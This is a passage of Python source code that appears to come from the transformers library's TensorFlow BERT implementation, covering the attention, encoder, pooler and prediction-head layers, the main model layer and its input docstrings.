) -> Tuple[tf.Tensor]:
batch_size = shape_list(hidden_states)[0]
mixed_query_layer = self.query(inputs=hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
is_cross_attention = encoder_hidden_states is not None
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_layer = past_key_value[0]
value_layer = past_key_value[1]
attention_mask = encoder_attention_mask
elif is_cross_attention:
key_layer = self.transpose_for_scores(self.key(inputs=encoder_hidden_states), batch_size)
value_layer = self.transpose_for_scores(self.value(inputs=encoder_hidden_states), batch_size)
attention_mask = encoder_attention_mask
elif past_key_value is not None:
key_layer = self.transpose_for_scores(self.key(inputs=hidden_states), batch_size)
value_layer = self.transpose_for_scores(self.value(inputs=hidden_states), batch_size)
key_layer = tf.concat([past_key_value[0], key_layer], axis=2)
value_layer = tf.concat([past_key_value[1], value_layer], axis=2)
else:
key_layer = self.transpose_for_scores(self.key(inputs=hidden_states), batch_size)
value_layer = self.transpose_for_scores(self.value(inputs=hidden_states), batch_size)
query_layer = self.transpose_for_scores(mixed_query_layer, batch_size)
if self.is_decoder:
# if cross_attention save Tuple(tf.Tensor, tf.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(tf.Tensor, tf.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_layer, value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
# (batch size, num_heads, seq_len_q, seq_len_k)
attention_scores = tf.matmul(query_layer, key_layer, transpose_b=True)
dk = tf.cast(self.sqrt_att_head_size, dtype=attention_scores.dtype)
attention_scores = tf.divide(attention_scores, dk)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in TFBertModel call() function)
attention_scores = tf.add(attention_scores, attention_mask)
# Normalize the attention scores to probabilities.
attention_probs = stable_softmax(logits=attention_scores, axis=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(inputs=attention_probs, training=training)
# Mask heads if we want to
if head_mask is not None:
attention_probs = tf.multiply(attention_probs, head_mask)
attention_output = tf.matmul(attention_probs, value_layer)
attention_output = tf.transpose(attention_output, perm=[0, 2, 1, 3])
# (batch_size, seq_len_q, all_head_size)
attention_output = tf.reshape(tensor=attention_output, shape=(batch_size, -1, self.all_head_size))
outputs = (attention_output, attention_probs) if output_attentions else (attention_output,)
if self.is_decoder:
outputs = outputs + (past_key_value,)
return outputs
class TFBertSelfOutput(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
units=config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(rate=config.hidden_dropout_prob)
def call(self, hidden_states: tf.Tensor, input_tensor: tf.Tensor, training: bool = False) -> tf.Tensor:
hidden_states = self.dense(inputs=hidden_states)
hidden_states = self.dropout(inputs=hidden_states, training=training)
hidden_states = self.LayerNorm(inputs=hidden_states + input_tensor)
return hidden_states
class TFBertAttention(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.self_attention = TFBertSelfAttention(config, name="self")
self.dense_output = TFBertSelfOutput(config, name="output")
def prune_heads(self, heads):
raise NotImplementedError
def call(
self,
input_tensor: tf.Tensor,
attention_mask: tf.Tensor,
head_mask: tf.Tensor,
encoder_hidden_states: tf.Tensor,
encoder_attention_mask: tf.Tensor,
past_key_value: Tuple[tf.Tensor],
output_attentions: bool,
training: bool = False,
) -> Tuple[tf.Tensor]:
self_outputs = self.self_attention(
hidden_states=input_tensor,
attention_mask=attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_value=past_key_value,
output_attentions=output_attentions,
training=training,
)
attention_output = self.dense_output(
hidden_states=self_outputs[0], input_tensor=input_tensor, training=training
)
# add attentions (possibly with past_key_value) if we output them
outputs = (attention_output,) + self_outputs[1:]
return outputs
class TFBertIntermediate(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
units=config.intermediate_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = get_tf_activation(config.hidden_act)
else:
self.intermediate_act_fn = config.hidden_act
def call(self, hidden_states: tf.Tensor) -> tf.Tensor:
hidden_states = self.dense(inputs=hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class TFBertOutput(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
units=config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(rate=config.hidden_dropout_prob)
def call(self, hidden_states: tf.Tensor, input_tensor: tf.Tensor, training: bool = False) -> tf.Tensor:
hidden_states = self.dense(inputs=hidden_states)
hidden_states = self.dropout(inputs=hidden_states, training=training)
hidden_states = self.LayerNorm(inputs=hidden_states + input_tensor)
return hidden_states
class TFBertLayer(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.attention = TFBertAttention(config, name="attention")
self.is_decoder = config.is_decoder
self.add_cross_attention = config.add_cross_attention
if self.add_cross_attention:
if not self.is_decoder:
raise ValueError(f"{self} should be used as a decoder model if cross attention is added")
self.crossattention = TFBertAttention(config, name="crossattention")
self.intermediate = TFBertIntermediate(config, name="intermediate")
self.bert_output = TFBertOutput(config, name="output")
def call(
self,
hidden_states: tf.Tensor,
attention_mask: tf.Tensor,
head_mask: tf.Tensor,
encoder_hidden_states: Optional[tf.Tensor],
encoder_attention_mask: Optional[tf.Tensor],
past_key_value: Optional[Tuple[tf.Tensor]],
output_attentions: bool,
training: bool = False,
) -> Tuple[tf.Tensor]:
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
self_attention_outputs = self.attention(
input_tensor=hidden_states,
attention_mask=attention_mask,
head_mask=head_mask,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_value=self_attn_past_key_value,
output_attentions=output_attentions,
training=training,
)
attention_output = self_attention_outputs[0]
# if decoder, the last output is tuple of self-attn cache
if self.is_decoder:
outputs = self_attention_outputs[1:-1]
present_key_value = self_attention_outputs[-1]
else:
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
cross_attn_present_key_value = None
if self.is_decoder and encoder_hidden_states is not None:
if not hasattr(self, "crossattention"):
raise ValueError(
f"If `encoder_hidden_states` are passed, {self} has to be instantiated with cross-attention layers"
" by setting `config.add_cross_attention=True`"
)
# cross_attn cached key/values tuple is at positions 3,4 of past_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
cross_attention_outputs = self.crossattention(
input_tensor=attention_output,
attention_mask=attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_value=cross_attn_past_key_value,
output_attentions=output_attentions,
training=training,
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:-1] # add cross attentions if we output attention weights
# add cross-attn cache to positions 3,4 of present_key_value tuple
cross_attn_present_key_value = cross_attention_outputs[-1]
present_key_value = present_key_value + cross_attn_present_key_value
intermediate_output = self.intermediate(hidden_states=attention_output)
layer_output = self.bert_output(
hidden_states=intermediate_output, input_tensor=attention_output, training=training
)
outputs = (layer_output,) + outputs # add attentions if we output them
# if decoder, return the attn key/values as the last output
if self.is_decoder:
outputs = outputs + (present_key_value,)
return outputs
class TFBertEncoder(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.config = config
self.layer = [TFBertLayer(config, name=f"layer_._{i}") for i in range(config.num_hidden_layers)]
def call(
self,
hidden_states: tf.Tensor,
attention_mask: tf.Tensor,
head_mask: tf.Tensor,
encoder_hidden_states: Optional[tf.Tensor],
encoder_attention_mask: Optional[tf.Tensor],
past_key_values: Optional[Tuple[Tuple[tf.Tensor]]],
use_cache: Optional[bool],
output_attentions: bool,
output_hidden_states: bool,
return_dict: bool,
training: bool = False,
) -> Union[TFBaseModelOutputWithPastAndCrossAttentions, Tuple[tf.Tensor]]:
all_hidden_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
all_cross_attentions = () if output_attentions and self.config.add_cross_attention else None
next_decoder_cache = () if use_cache else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
past_key_value = past_key_values[i] if past_key_values is not None else None
layer_outputs = layer_module(
hidden_states=hidden_states,
attention_mask=attention_mask,
head_mask=head_mask[i],
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_value=past_key_value,
output_attentions=output_attentions,
training=training,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[-1],)
if output_attentions:
all_attentions = all_attentions + (layer_outputs[1],)
if self.config.add_cross_attention and encoder_hidden_states is not None:
all_cross_attentions = all_cross_attentions + (layer_outputs[2],)
# Add last layer
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(
v for v in [hidden_states, all_hidden_states, all_attentions, all_cross_attentions] if v is not None
)
return TFBaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_decoder_cache,
hidden_states=all_hidden_states,
attentions=all_attentions,
cross_attentions=all_cross_attentions,
)
class TFBertPooler(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
units=config.hidden_size,
kernel_initializer=get_initializer(config.initializer_range),
activation="tanh",
name="dense",
)
def call(self, hidden_states: tf.Tensor) -> tf.Tensor:
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(inputs=first_token_tensor)
return pooled_output
class TFBertPredictionHeadTransform(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
units=config.hidden_size,
kernel_initializer=get_initializer(config.initializer_range),
name="dense",
)
if isinstance(config.hidden_act, str):
self.transform_act_fn = get_tf_activation(config.hidden_act)
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
def call(self, hidden_states: tf.Tensor) -> tf.Tensor:
hidden_states = self.dense(inputs=hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(inputs=hidden_states)
return hidden_states
class TFBertLMPredictionHead(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, input_embeddings: tf.keras.layers.Layer, **kwargs):
super().__init__(**kwargs)
self.config = config
self.hidden_size = config.hidden_size
self.transform = TFBertPredictionHeadTransform(config, name="transform")
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.input_embeddings = input_embeddings
def build(self, input_shape: tf.TensorShape):
self.bias = self.add_weight(shape=(self.config.vocab_size,), initializer="zeros", trainable=True, name="bias")
super().build(input_shape)
def get_output_embeddings(self) -> tf.keras.layers.Layer:
return self.input_embeddings
def set_output_embeddings(self, value: tf.Variable):
self.input_embeddings.weight = value
self.input_embeddings.vocab_size = shape_list(value)[0]
def get_bias(self) -> Dict[str, tf.Variable]:
return {"bias": self.bias}
def set_bias(self, value: tf.Variable):
self.bias = value["bias"]
self.config.vocab_size = shape_list(value["bias"])[0]
def call(self, hidden_states: tf.Tensor) -> tf.Tensor:
hidden_states = self.transform(hidden_states=hidden_states)
seq_length = shape_list(hidden_states)[1]
hidden_states = tf.reshape(tensor=hidden_states, shape=[-1, self.hidden_size])
hidden_states = tf.matmul(a=hidden_states, b=self.input_embeddings.weight, transpose_b=True)
hidden_states = tf.reshape(tensor=hidden_states, shape=[-1, seq_length, self.config.vocab_size])
hidden_states = tf.nn.bias_add(value=hidden_states, bias=self.bias)
return hidden_states
class TFBertMLMHead(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, input_embeddings: tf.keras.layers.Layer, **kwargs):
super().__init__(**kwargs)
self.predictions = TFBertLMPredictionHead(config, input_embeddings, name="predictions")
def call(self, sequence_output: tf.Tensor) -> tf.Tensor:
prediction_scores = self.predictions(hidden_states=sequence_output)
return prediction_scores
class TFBertNSPHead(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.seq_relationship = tf.keras.layers.Dense(
units=2,
kernel_initializer=get_initializer(config.initializer_range),
name="seq_relationship",
)
def call(self, pooled_output: tf.Tensor) -> tf.Tensor:
seq_relationship_score = self.seq_relationship(inputs=pooled_output)
return seq_relationship_score
@keras_serializable
class TFBertMainLayer(tf.keras.layers.Layer):
config_class = BertConfig
def __init__(self, config: BertConfig, add_pooling_layer: bool = True, **kwargs):
super().__init__(**kwargs)
self.config = config
self.is_decoder = config.is_decoder
self.embeddings = TFBertEmbeddings(config, name="embeddings")
self.encoder = TFBertEncoder(config, name="encoder")
self.pooler = TFBertPooler(config, name="pooler") if add_pooling_layer else None
def get_input_embeddings(self) -> tf.keras.layers.Layer:
return self.embeddings
def set_input_embeddings(self, value: tf.Variable):
self.embeddings.weight = value
self.embeddings.vocab_size = shape_list(value)[0]
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
raise NotImplementedError
@unpack_inputs
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_hidden_states: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
past_key_values: Optional[Tuple[Tuple[Union[np.ndarray, tf.Tensor]]]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
training: bool = False,
) -> Union[TFBaseModelOutputWithPoolingAndCrossAttentions, Tuple[tf.Tensor]]:
if not self.config.is_decoder:
use_cache = False
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = shape_list(input_ids)
elif inputs_embeds is not None:
input_shape = shape_list(inputs_embeds)[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
batch_size, seq_length = input_shape
if past_key_values is None:
past_key_values_length = 0
past_key_values = [None] * len(self.encoder.layer)
else:
past_key_values_length = shape_list(past_key_values[0][0])[-2]
if attention_mask is None:
attention_mask = tf.fill(dims=(batch_size, seq_length + past_key_values_length), value=1)
if token_type_ids is None:
token_type_ids = tf.fill(dims=input_shape, value=0)
embedding_output = self.embeddings(
input_ids=input_ids,
position_ids=position_ids,
token_type_ids=token_type_ids,
inputs_embeds=inputs_embeds,
past_key_values_length=past_key_values_length,
training=training,
)
# We create a 3D attention mask from a 2D tensor mask.
# Sizes are [batch_size, 1, 1, to_seq_length]
# So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length]
# this attention mask is more simple than the triangular masking of causal attention
# used in OpenAI GPT, we just need to prepare the broadcast dimension here.
attention_mask_shape = shape_list(attention_mask)
mask_seq_length = seq_length + past_key_values_length
# Copied from `modeling_tf_t5.py`
# Provided a padding mask of dimensions [batch_size, mask_seq_length]
# - if the model is a decoder, apply a causal mask in addition to the padding mask
# - if the model is an encoder, make the mask broadcastable to [batch_size, num_heads, mask_seq_length, mask_seq_length]
if self.is_decoder:
seq_ids = tf.range(mask_seq_length)
causal_mask = tf.less_equal(
tf.tile(seq_ids[None, None, :], (batch_size, mask_seq_length, 1)),
seq_ids[None, :, None],
)
causal_mask = tf.cast(causal_mask, dtype=attention_mask.dtype)
extended_attention_mask = causal_mask * attention_mask[:, None, :]
attention_mask_shape = shape_list(extended_attention_mask)
extended_attention_mask = tf.reshape(
extended_attention_mask, (attention_mask_shape[0], 1, attention_mask_shape[1], attention_mask_shape[2])
)
if past_key_values[0] is not None:
# attention_mask needs to be sliced to the shape `[batch_size, 1, from_seq_length - cached_seq_length, to_seq_length]
extended_attention_mask = extended_attention_mask[:, :, -seq_length:, :]
else:
extended_attention_mask = tf.reshape(
attention_mask, (attention_mask_shape[0], 1, 1, attention_mask_shape[1])
)
# Since attention_mask is 1.0 for positions we want to attend and 0.0 for
# masked positions, this operation will create a tensor which is 0.0 for
# positions we want to attend and -10000.0 for masked positions.
# Since we are adding it to the raw scores before the softmax, this is
# effectively the same as removing these entirely.
extended_attention_mask = tf.cast(extended_attention_mask, dtype=embedding_output.dtype)
one_cst = tf.constant(1.0, dtype=embedding_output.dtype)
ten_thousand_cst = tf.constant(-10000.0, dtype=embedding_output.dtype)
extended_attention_mask = tf.multiply(tf.subtract(one_cst, extended_attention_mask), ten_thousand_cst)
# Copied from `modeling_tf_t5.py` with -1e9 -> -10000
if self.is_decoder and encoder_attention_mask is not None:
# If a 2D ou 3D attention mask is provided for the cross-attention
# we need to make broadcastable to [batch_size, num_heads, mask_seq_length, mask_seq_length]
# we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
encoder_attention_mask = tf.cast(encoder_attention_mask, dtype=extended_attention_mask.dtype)
num_dims_encoder_attention_mask = len(shape_list(encoder_attention_mask))
if num_dims_encoder_attention_mask == 3:
encoder_extended_attention_mask = encoder_attention_mask[:, None, :, :]
if num_dims_encoder_attention_mask == 2:
encoder_extended_attention_mask = encoder_attention_mask[:, None, None, :]
# T5 has a mask that can compare sequence ids, we can simulate this here with this transposition
# Cf. https://github.com/tensorflow/mesh/blob/8d2465e9bc93129b913b5ccc6a59aa97abd96ec6/mesh_tensorflow/transformer/transformer_layers.py#L270
# encoder_extended_attention_mask = tf.math.equal(encoder_extended_attention_mask,
# tf.transpose(encoder_extended_attention_mask, perm=(-1, -2)))
encoder_extended_attention_mask = (1.0 - encoder_extended_attention_mask) * -10000.0
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
if head_mask is not None:
raise NotImplementedError
else:
head_mask = [None] * self.config.num_hidden_layers
encoder_outputs = self.encoder(
hidden_states=embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(hidden_states=sequence_output) if self.pooler is not None else None
if not return_dict:
return (
sequence_output,
pooled_output,
) + encoder_outputs[1:]
return TFBaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
past_key_values=encoder_outputs.past_key_values,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
cross_attentions=encoder_outputs.cross_attentions,
)
class TFBertPreTrainedModel(TFPreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = BertConfig
base_model_prefix = "bert"
@property
def dummy_inputs(self):
"""
Dummy inputs to build the network.
Returns:
`Dict[str, tf.Tensor]`: The dummy inputs.
"""
dummy = {"input_ids": tf.constant(DUMMY_INPUTS, dtype=tf.int32)}
# Add `encoder_hidden_states` to make the cross-attention layers' weights initialized
if self.config.add_cross_attention:
batch_size, seq_len = tf.constant(DUMMY_INPUTS).shape
shape = (batch_size, seq_len) + (self.config.hidden_size,)
h = tf.random.uniform(shape=shape)
dummy["encoder_hidden_states"] = h
return dummy
@dataclass
class TFBertForPreTrainingOutput(ModelOutput):
"""
Output type of [`TFBertForPreTraining`].
Args:
prediction_logits (`tf.Tensor` of shape `(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (`tf.Tensor` of shape `(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (`tuple(tf.Tensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `tf.Tensor` (one for the output of the embeddings + one for the output of each layer) of shape
`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (`tuple(tf.Tensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `tf.Tensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[tf.Tensor] = None
prediction_logits: tf.Tensor = None
seq_relationship_logits: tf.Tensor = None
hidden_states: Optional[Union[Tuple[tf.Tensor], tf.Tensor]] = None
attentions: Optional[Union[Tuple[tf.Tensor], tf.Tensor]] = None
BERT_START_DOCSTRING = r"""
This model inherits from [`TFPreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a [tf.keras.Model](https://www.tensorflow.org/api_docs/python/tf/keras/Model) subclass. Use it
as a regular TF 2.0 Keras Model and refer to the TF 2.0 documentation for all matter related to general usage and
behavior.
<Tip>
TensorFlow models and layers in `transformers` accept two formats as input:
- having all inputs as keyword arguments (like PyTorch models), or
- having all inputs as a list, tuple or dict in the first positional argument.
The reason the second format is supported is that Keras methods prefer this format when passing inputs to models
and layers. Because of this support, when using methods like `model.fit()` things should "just work" for you - just
pass your inputs and labels in any format that `model.fit()` supports! If, however, you want to use the second
format outside of Keras methods like `fit()` and `predict()`, such as when creating your own layers or models with
the Keras `Functional` API, there are three possibilities you can use to gather all the input Tensors in the first
positional argument:
- a single Tensor with `input_ids` only and nothing else: `model(input_ids)`
- a list of varying length with one or several input Tensors IN THE ORDER given in the docstring:
`model([input_ids, attention_mask])` or `model([input_ids, attention_mask, token_type_ids])`
- a dictionary with one or several input Tensors associated to the input names given in the docstring:
`model({"input_ids": input_ids, "token_type_ids": token_type_ids})`
Note that when creating models and layers with
[subclassing](https://keras.io/guides/making_new_layers_and_models_via_subclassing/) then you don't need to worry
about any of this, as you can just pass inputs like you would to any other Python function!
</Tip>
Args:
config ([`BertConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~TFPreTrainedModel.from_pretrained`] method to load the model weights.
"""
BERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (`np.ndarray`, `tf.Tensor`, `List[tf.Tensor]` ``Dict[str, tf.Tensor]` or `Dict[str, np.ndarray]` and each example must have the shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.__call__`] and
[`PreTrainedTokenizer.encode`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`np.ndarray` or `tf.Tensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
token_type_ids (`np.ndarray` or `tf.Tensor` of shape `({0})`, *optional*):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0,
1]`:
- 0 corresponds to a *sentence A* token,
- 1 corresponds to a *sentence B* token.
[What are token type IDs?](../glossary#token-type-ids)
position_ids (`np.ndarray` or `tf.Tensor` of shape `({0})`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
head_mask (`np.ndarray` or `tf.Tensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`np.ndarray` or `tf.Tensor` of shape `({0}, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation. This
is useful if you want more control over how to convert `input_ids` indices into associated vectors than the
model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail. This argument can be used only in eager mode, in graph mode the value in the
config will be used instead.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail. This argument can be used only in eager mode, in graph mode the value in the config will be
used instead.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple. This argument can be used in
eager mode, in graph mode the value will always be set to True.
training (`bool`, *optional*, defaults to `False``):
Whether or not to use the model in training mode (some modules like dropout modules have different
behaviors between training and evaluation).
"""
@add_start_docstrings(
"The bare Bert Model transformer outputting raw hidden-states without any specific head on top.",
BERT_START_DOCSTRING,
)
class TFBertModel(TFBertPreTrainedModel):
def __init__(self, config: BertConfig, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.bert = TFBertMainLayer(config, name="bert")
@unpack_inputs
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFBaseModelOutputWithPoolingAndCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids: Optional[TFModelInputType] = None,
attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
token_type_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
position_ids: Optional[Union[np.ndarray, tf.Tensor]] = None,
head_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
inputs_embeds: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_hidden_states: Optional[Union[np.ndarray, tf.Tensor]] = None,
encoder_attention_mask: Optional[Union[np.ndarray, tf.Tensor]] = None,
past_key_values: Optional[Tuple[Tuple[Union[np.ndarray, tf.Tensor]]]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
training: Optional[bool] = False,
) -> Union[TFBaseModelOutputWithPoolingAndCrossAttentions, Tuple[tf.Tensor]]:
r"""
encoder_hidden_states (`tf.Tensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (`Tuple[Tuple[tf.Tensor]]` of length `config.n_layers`)
contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*, defaults to `True`):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`). Set to `False` during training, `True` during generation
"""
outputs = self.bert(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
)
return outputs
def serving_output(
self, output: TFBaseModelOutputWithPoolingAndCrossAttentions
) -> TFBaseModelOutputWithPoolingAndCrossAttentions:
output_cache = self.config.use_cache and self.config.is_decoder
pkv = tf.convert_to_tensor(output.past_key_values) if output_cache else None
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
cross_attns = tf.convert_to_tensor(output.cross_attentions) if output.cross_attentions is not None else None
if not (self.config.output_attentions and self.config.add_cross_attention):
cross_attns = None
return TFBaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=output.last_hidden_state,
pooler_output=output.pooler_output,
past_key_values=pkv,
hidden_states=hs,
attentions=attns,
cross_attentions=cross_attns,
)
@add_start_docstrings(
"""
Bert Model with two heads on top as done during the pretraining:
a `masked language modeling` head and a `next sentence prediction (classification)` head.
""",
BERT_START_DOCSTRING,
)
class TFBertForPreTraining(TFBertPreTrainedModel, TFBertPreTrainingLoss):
